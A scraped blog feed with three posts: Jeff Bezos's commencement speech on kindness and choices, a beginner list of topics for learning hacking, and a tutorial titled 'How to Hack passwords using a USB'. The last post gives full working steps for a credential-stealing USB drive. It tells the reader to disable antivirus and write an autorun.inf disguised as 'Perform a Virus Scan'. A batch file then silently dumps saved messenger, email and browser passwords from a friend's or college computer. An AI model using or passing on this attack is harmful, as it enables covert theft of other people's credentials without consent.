IMEI No.:</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-9628959703867029062010-07-12T23:38:00.000-07:002010-07-12T23:38:39.434-07:00"We are What We Choose" – Jeff Bezos on Entrepreneurship<div class="wp-caption alignright" id="attachment_8143" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em; width: 198px;"><img alt="Jeff_Bezos" class="size-full wp-image-8143" height="192" src="http://www.pluggd.in/wp-content/uploads/2010/07/Jeff_Bezos.jpg" title="Jeff_Bezos" width="188" /><div class="wp-caption-text">Jeff_Bezos</div></div><br />
<!-- google_ad_section_start --> <br />
<!-- end of entry --><!-- end of entry --> As a kid, I spent my summers with my grandparents on their ranch in Texas. I helped fix windmills, vaccinate cattle, and do other chores. We also watched soap operas every afternoon, especially “Days of our Lives.” My grandparents belonged to a Caravan Club, a group of Airstream trailer owners who travel together around the U.S. and Canada. And every few summers, we’d join the caravan. We’d hitch up the Airstream trailer to my grandfather’s car, and off we’d go, in a line with 300 other Airstream adventurers. I loved and worshipped my grandparents and I really looked forward to these trips. On one particular trip, I was about 10 years old. I was rolling around in the big bench seat in the back of the car. My grandfather was driving. And my grandmother had the passenger seat. She smoked throughout these trips, and I hated the smell.<br />
<br />
<br />
At that age, I’d take any excuse to make estimates and do minor arithmetic. I’d calculate our gas mileage — figure out useless statistics on things like grocery spending. I’d been hearing an ad campaign about smoking. I can’t remember the details, but basically the ad said, every puff of a cigarette takes some number of minutes off of your life: I think it might have been two minutes per puff. At any rate, I decided to do the math for my grandmother. I estimated the number of cigarettes per days, estimated the number of puffs per cigarette and so on. When I was satisfied that I’d come up with a reasonable number, I poked my head into the front of the car, tapped my grandmother on the shoulder, and proudly proclaimed, “At two minutes per puff, you’ve taken nine years off your life!”<br />
<br />
I have a vivid memory of what happened, and it was not what I expected. I expected to be applauded for my cleverness and arithmetic skills. “Jeff, you’re so smart. You had to have made some tricky estimates, figure out the number of minutes in a year and do some division.” That’s not what happened. Instead, my grandmother burst into tears. I sat in the backseat and did not know what to do. While my grandmother sat crying, my grandfather, who had been driving in silence, pulled over onto the shoulder of the highway. He got out of the car and came around and opened my door and waited for me to follow. Was I in trouble? My grandfather was a highly intelligent, quiet man. He had never said a harsh word to me, and maybe this was to be the first time? Or maybe he would ask that I get back in the car and apologize to my grandmother. I had no experience in this realm with my grandparents and no way to gauge what the consequences might be. We stopped beside the trailer. My grandfather looked at me, and after a bit of silence, he gently and calmly said, “Jeff, one day you’ll understand that it’s harder to be kind than clever.”<br />
<br />
What I want to talk to you about today is the difference between gifts and choices. Cleverness is a gift, kindness is a choice. Gifts are easy — they’re given after all. Choices can be hard. You can seduce yourself with your gifts if you’re not careful, and if you do, it’ll probably be to the detriment of your choices.<br />
This is a group with many gifts. I’m sure one of your gifts is the gift of a smart and capable brain. I’m confident that’s the case because admission is competitive and if there weren’t some signs that you’re clever, the dean of admission wouldn’t have let you in.<br />
<br />
Your smarts will come in handy because you will travel in a land of marvels. We humans — plodding as we are — will astonish ourselves. We’ll invent ways to generate clean energy and a lot of it. Atom by atom, we’ll assemble tiny machines that will enter cell walls and make repairs. This month comes the extraordinary but also inevitable news that we’ve synthesized life. In the coming years, we’ll not only synthesize it, but we’ll engineer it to specifications. I believe you’ll even see us understand the human brain. Jules Verne, Mark Twain, Galileo, Newton — all the curious from the ages would have wanted to be alive most of all right now. As a civilization, we will have so many gifts, just as you as individuals have so many individual gifts as you sit before me.<br />
<br />
How will you use these gifts? And will you take pride in your gifts or pride in your choices?<br />
<br />
I got the idea to start Amazon 16 years ago. I came across the fact that Web usage was growing at 2,300 percent per year. I’d never seen or heard of anything that grew that fast, and the idea of building an online bookstore with millions of titles — something that simply couldn’t exist in the physical world — was very exciting to me. I had just turned 30 years old, and I’d been married for a year. I told my wife MacKenzie that I wanted to quit my job and go do this crazy thing that probably wouldn’t work since most startups don’t, and I wasn’t sure what would happen after that. MacKenzie (also a Princeton grad and sitting here in the second row) told me I should go for it. As a young boy, I’d been a garage inventor. I’d invented an automatic gate closer out of cement-filled tires, a solar cooker that didn’t work very well out of an umbrella and tinfoil, baking-pan alarms to entrap my siblings. I’d always wanted to be an inventor, and she wanted me to follow my passion.<br />
<br />
I was working at a financial firm in New York City with a bunch of very smart people, and I had a brilliant boss that I much admired. I went to my boss and told him I wanted to start a company selling books on the Internet. He took me on a long walk in Central Park, listened carefully to me, and finally said, “That sounds like a really good idea, but it would be an even better idea for someone who didn’t already have a good job.” That logic made some sense to me, and he convinced me to think about it for 48 hours before making a final decision. Seen in that light, it really was a difficult choice, but ultimately, I decided I had to give it a shot. I didn’t think I’d regret trying and failing. And I suspected I would always be haunted by a decision to not try at all. After much consideration, I took the less safe path to follow my passion, and I’m proud of that choice.<br />
<br />
Tomorrow, in a very real sense, your life — the life you author from scratch on your own — begins.<br />
<br />
How will you use your gifts? What choices will you make?<br />
<br />
Will inertia be your guide, or will you follow your passions?<br />
<br />
Will you follow dogma, or will you be original?<br />
<br />
Will you choose a life of ease, or a life of service and adventure?<br />
<br />
Will you wilt under criticism, or will you follow your convictions?<br />
<br />
Will you bluff it out when you’re wrong, or will you apologize?<br />
<br />
Will you guard your heart against rejection, or will you act when you fall in love?<br />
<br />
Will you play it safe, or will you be a little bit swashbuckling?<br />
<br />
When it’s tough, will you give up, or will you be relentless?<br />
<br />
Will you be a cynic, or will you be a builder?<br />
<br />
Will you be clever at the expense of others, or will you be kind?<br />
<br />
I will hazard a prediction. When you are 80 years old, and in a quiet moment of reflection narrating for only yourself the most personal version of your life story, the telling that will be most compact and meaningful will be the series of choices you have made. In the end, we are our choices. Build yourself a great story. Thank you and good luck!<div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0tag:blogger.com,1999:blog-9099073570000665072.post-55592394176557296382010-07-07T12:40:00.000-07:002010-07-07T12:40:13.604-07:00Your First Step Towards Hacking<span style="font-size: small;"></span><span style="font-size: small;">Basic principle behind hacking is learn how the things are constructed, You can easily find the way to destruct it. There are some general mistakes in making things, you can know it only when you try to make it too.</span><br />
<br />
<span style="font-size: small;">When you make mistake while creating something, if someone try to take over that mistake & use it as a security hole to intrude in your system is called as hacker. So you need to learn the construction. The construction of following things:</span><br />
<br />
<span style="font-size: small;"><b>Networks :</b></span><br />
<span style="font-size: small;">1. How Network is Created</span><br />
<span style="font-size: small;">2. How Firewalls are placed</span><br />
<span style="font-size: small;">3. Topology of The Network</span><br />
<span style="font-size: small;">4. Encryption</span><br />
<br />
<span style="font-size: small;"><b>Web/Internet:</b></span><br />
<span style="font-size: small;"><b>1. </b>How a website is created, how they run (For that have some website, learn some potential problems in making a website, if you don’t have budget, then search for free hosts & domains )</span><br />
<span style="font-size: small;">2. How a blog is created & managed</span><br />
<br />
<span style="font-size: small;"><b>Applets/ Applications:</b></span><br />
<span style="font-size: small;">1. Learn How the application are develop (Try to develop something, just for practice)<b> </b></span><br />
<span style="font-size: small;">2. Learn specially apps of Browsers, WordPress, Twitter, Soft wares.</span><br />
<br />
<span style="font-size: small;"><b>Platforms:</b></span><br />
<span style="font-size: small;">1. You must have command over Linux<b> </b>& Windows.<b> </b></span><br />
<span style="font-size: small;">2. If you have Mac, that will be great, but it is not in essential list.</span><br />
<br />
<span style="font-size: small;"><b>Gadgets:</b></span><br />
<span style="font-size: small;">Keep track of all the gadgets like – cellphones, their operating systems, net books, PSP, gaming consoles, google android, mobile windows, their apps everything.</span><br />
<br />
<span style="font-size: small;"><b>Coding </b>:</span><br />
<span style="font-size: small;">If you can not code then you can not create. So You have to have hand on Java, C and any of Web programming language but prefer PHP & HTML</span><br />
<span style="font-size: small;">This is too big list . . huh?</span><br />
<br />
<span style="font-size: small;">This is shortest ever list I have ever seen to be very loyal to you. Really, You don’t have to do thins in one day or something. You get all books for beginners like, networks for dummies, Java black book.</span><br />
<span style="font-size: small;">You have to read constantly. I am trying to collect here some of the best things which you can use it as your notes for hacking stuff. So be updated with it. But at least know the networks & Linux, so You can learn faster. Other things are your homework, you have read on net, try to create & all this stuff, you need to do it on your own. I am all here to he lo you in it. Any type of problem you have,We are here to help. You can mail us, comment here or by any means I will try to make things better for you.</span><br />
<span style="font-size: small;">Just keep the patience & confidence. This is your first step to hacking – all you’re doing it for your curiosity. <b>And curiosity is not a crime . . .</b></span><br />
<br />
<span style="font-size: small;"><i>If you are good at all the things listed above I would like to Recommend some books:</i></span><br />
<span style="font-size: small;"> 1. Network Security: Private Communication in Public World (PHI Publication) – Its about Cryptography/ Encryption</span><br />
<span style="font-size: small;">2. Thinking Beyond Firewalls</span><br />
<span style="font-size: small;">3. Linux Security Cookbook</span><br />
<br />
<span style="font-size: small;"><i>(Don’t read any book like : hacking gmail, how to hack, hacking secrets … blah, blah , blah- They are not for hackers)</i></span><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com1tag:blogger.com,1999:blog-9099073570000665072.post-90240265762611693822010-03-02T10:51:00.000-08:002010-03-02T10:51:56.499-08:00How to Hack passwords using a USBHello Friends, <br />
<br />
<div style="text-align: justify;">Have you ever thought that a Simple USB Drive can be used as a Destructive Tool for Hacking Passwords? Today I will show you how to hack Passwords using an USB Pen Drive.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong><a href="http://www.easy-share.com/1903578301/mspass.zip" rel="nofollow" target="_blank" title="Messenger Password
View">MessenPass</a>: </strong>Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong><a href="http://www.easy-share.com/1903578300/mailpv.zip" rel="nofollow" target="_blank" title="Mail Password View">Mail PassView</a>: </strong>Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.<br />
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"> </div><div style="text-align: justify;"><strong><a href="http://www.easy-share.com/1903578289/iepv.zip" rel="nofollow" target="_blank" title="IE Password View">IE Passview</a>: </strong>IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong><a href="http://www.easy-share.com/1903578307/pspv.zip" rel="nofollow" target="_blank" title="Protected Storage
PassView">Protected Storage PassView</a>: </strong>Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong><a href="http://www.easy-share.com/1903578302/passwordfox.zip" rel="nofollow" target="_blank" title="Password Fox">PasswordFox</a>: </strong>PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.</div><div style="text-align: justify;">Here is a step by step procedure to create the password hacking toolkit.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><em><strong>NOTE:</strong></em> You must temporarily disable your Anti-Virus before following these steps.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong>1.</strong> <strong>Download </strong>all the 5 tools, extract them and copy only the <strong>executables(.exe files)</strong> into your USB Pendrive.</div><div style="text-align: justify;">ie: Copy the files – <strong>mspass.exe</strong>, <strong>mailpv.exe</strong>, <strong>iepv.exe</strong>, <strong>pspv.exe</strong> and <strong>passwordfox.exe</strong> into your USB Drive.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong>2.</strong> <strong>Create a new Notepad</strong> and write the following text into it</div><blockquote style="text-align: justify;"><span style="color: #333333;"><em><strong>[autorun]<br />
open=launch.bat<br />
ACTION= Perform a Virus Scan</strong></em></span></blockquote><div style="text-align: justify;"><strong>save</strong> the Notepad as <strong>autorun.inf</strong></div><div style="text-align: justify;">Now<strong> copy </strong>the <strong>autorun.inf </strong>file onto your USB pendrive.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong>3.</strong> Create another Notepad and write the following text onto it.</div><blockquote style="text-align: justify;"><em><span style="color: #333333;"><strong>start mspass.exe /stext mspass.txt</strong></span></em><br />
<em><span style="color: #333333;"><strong>start mailpv.exe /stext mailpv.txt</strong></span></em><br />
<em><span style="color: #333333;"><strong>start iepv.exe /stext iepv.txt</strong></span></em><br />
<em><span style="color: #333333;"><strong>start pspv.exe /stext pspv.txt</strong></span></em><br />
<em><span style="color: #333333;"><strong>start passwordfox.exe /stext passwordfox.txt</strong></span></em></blockquote><div style="text-align: justify;">save the Notepad as <em><strong>launch.bat</strong></em></div><div style="text-align: justify;"><strong>Copy </strong>the<strong> launch.bat</strong> file also to your USB drive.</div><div style="text-align: justify;">Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">2. In the pop-up window, select the first option (<span style="color: #333333;"><em><strong>Perform a Virus Scan</strong></em></span>).</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the<strong> .TXT</strong> files.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">4. Remove the pendrive and you’ll see the stored passwords in the <strong>.TXT</strong> files.</div><div style="text-align: justify;">This hack works on Windows 2000, XP and Vista.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><strong>Disclaimer:</strong> I am not responsible for any kind of Damage caused by using the above information. The above Tutorial is only for recovering forgotten passwords.</div><div class="blogger-post-footer">Thank you for your feedback.</div>Anonymoushttp://www.blogger.com/profile/17907670525124111691noreply@blogger.com0